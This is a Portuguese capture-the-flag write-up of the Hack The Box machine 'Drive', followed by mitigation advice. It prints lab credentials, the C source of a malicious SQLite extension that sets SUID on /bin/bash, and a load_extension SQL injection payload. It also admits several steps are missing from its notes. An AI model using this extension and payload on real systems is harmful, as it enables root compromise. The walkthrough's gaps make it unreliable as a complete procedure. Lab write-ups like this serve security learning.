0xEtern4lW0lf
Hack The BoxHardLinux

Drive

3 min de leitura
#SSH#HTTP#NFS#IDOR#Gitea#SSH Tunneling#Password Reuse#SQLite#RCE#Python

Introdução

Máquina Drive – Hack The Box Este documento reúne as anotações da resolução da máquina Drive (Hack The Box), classificada como dificuldade Hard, categoria Linux. O alvo expõe SSH, um serviço web de compartilhamento de arquivos e NFS. O caminho de exploração passa por uma falha de IDOR na aplicação web, reutilização de senha em uma instância Gitea e, na pós-exploração, escalada de privilégios via carregamento de extensão maliciosa no SQLite. IP: 10.10.11.235

Escaneamento

Primeiro passo: enumerar a máquina com o nmap.

ports=$(sudo nmap --open -p- -Pn --min-rate=1000 -T4 10.10.11.235 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) && sudo nmap -Pn -sC -sV -p $ports 10.10.11.235

O nmap revela três portas abertas: 22 (SSH), 80 (HTTP) e uma porta NFS.

Enumeração

Porta 80

Registro / Login Painel (Dashboard) Burp Suite – Intruder Por meio de enumeração extensiva, identificamos um possível vetor de ataque no link “/block”. Esse link não verifica o proprietário do arquivo, o que permite reservar (bloquear) arquivos aos quais não deveríamos ter acesso — uma falha de controle de acesso do tipo IDOR (Insecure Direct Object Reference).

Exploração

Obtenção de shell (usuário martin)

Nota: as anotações originais não detalham explicitamente o passo intermediário entre a exploração do IDOR no endpoint “/block” e a obtenção das credenciais abaixo; presumivelmente a falha permitiu acessar um arquivo pertencente ao administrador contendo essas credenciais, mas esse elo não foi registrado nas notas originais.

ssh martin@drive.htb
Xk4@KjyrYv8t194L!
![](/notion-images/3b989a62-4b48-80e7-aef8-e97ea5923b2d/7.png) # Pós-exploração ## Elevação de Privilégios ![](/notion-images/3b989a62-4b48-80e7-aef8-e97ea5923b2d/8.png) ```bash scp martin@drive.htb:/var/www/backups/* . Xk4@KjyrYv8t194L! ``` Este arquivo zip possui senha. **db.sqlite3** As hashes foram quebradas, porém o login não foi bem-sucedido. **gitea** A porta 3000 (Gitea) está aberta. ![](/notion-images/3b989a62-4b48-80e7-aef8-e97ea5923b2d/9.png) Túnel SSH: ```bash ssh -N -L 3000:drive.htb:3000 martin@drive.htb Xk4@KjyrYv8t194L! ``` Login com esta credencial (reutilização da senha do SSH): ```bash martinCruz:Xk4@KjyrYv8t194L! ``` ![](/notion-images/3b989a62-4b48-80e7-aef8-e97ea5923b2d/10.png) ![](/notion-images/3b989a62-4b48-80e7-aef8-e97ea5923b2d/11.png) ```bash H@ckThisP@ssW0rDIfY0uC@n:) ``` *Nota: as anotações não especificam em qual local exato do Gitea esta segunda senha foi encontrada.* ![](/notion-images/3b989a62-4b48-80e7-aef8-e97ea5923b2d/12.png) **a.c** — código-fonte da extensão maliciosa do SQLite ```bash #include #include void sqlite3_a_init() { setuid(0); setgid(0); system("/usr/bin/chmod +s /bin/bash"); } ``` **Compilação** ```bash gcc -shared a.c -o a.so -nostartfiles -fPIC ``` **Exploração da extensão maliciosa (via SQL)** ```bash "+load_extension(char(46,47,97))+" ``` Esse payload injeta a chamada `load_extension` para carregar a extensão maliciosa (`a.so`, referenciada como `./a`, codificado em `char(46,47,97)`), executando o código malicioso em um contexto privilegiado do SQLite e concedendo o bit SUID ao `/bin/bash` — o que permite obter uma shell como root. ![](/notion-images/3b989a62-4b48-80e7-aef8-e97ea5923b2d/13.png) ![](/notion-images/3b989a62-4b48-80e7-aef8-e97ea5923b2d/14.png) # Anexos - `sau-getshell.py`: script em Python mencionado nas anotações originais para automatizar a obtenção de shell nesta máquina. O conteúdo do script não estava presente nas anotações originais — apenas a referência ao nome do arquivo. # Mitigação - **IDOR no endpoint “/block”**: implementar verificação de propriedade/autorização no backend para qualquer operação sobre recursos (arquivos, bloqueios, reservas). Nunca confiar apenas em identificadores fornecidos pelo cliente. - **Reutilização de senha entre serviços**: a mesma senha do usuário `martin` no SSH foi reaproveitada no Gitea (`martinCruz`). Recomenda-se políticas de senha única por serviço e uso de gerenciador de senhas/cofre de segredos. - **Backups e bancos de dados sensíveis expostos**: arquivos como `db.sqlite3` e os backups em `/var/www/backups` não deveriam ficar acessíveis a usuários de baixo privilégio, nem residir dentro do diretório raiz da aplicação web. Recomenda-se criptografar backups e restringir permissões de acesso. - **Abuso de extensões carregáveis do SQLite**: processos ou scripts que interagem com bancos SQLite sob privilégios elevados devem desabilitar o carregamento de extensões (`enable_load_extension(False)` ou equivalente) quando essa funcionalidade não for necessária, e nunca devem ser executados com mais privilégios do que o estritamente necessário. - **Recomendações gerais**: aplicar o princípio do menor privilégio, manter serviços atualizados, monitorar o acesso a arquivos sensíveis e revisar periodicamente as permissões de diretórios expostos por serviços web.